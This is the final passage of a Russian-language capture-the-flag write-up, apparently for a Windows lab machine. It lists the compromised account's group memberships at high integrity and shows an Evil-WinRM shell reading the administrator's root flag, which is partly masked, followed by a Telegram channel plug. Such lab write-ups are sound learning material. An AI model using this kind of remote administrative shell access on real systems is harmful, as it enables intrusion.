BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group

Mandatory Label\High Mandatory Level       Label            S-1-16-12288


Флаг администратора лежит прямо на рабочем столе пользователя Administrator:

Evil-WinRM PS C:\Users\administrator\desktop> cat root.txt

c3bee243************************

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (0)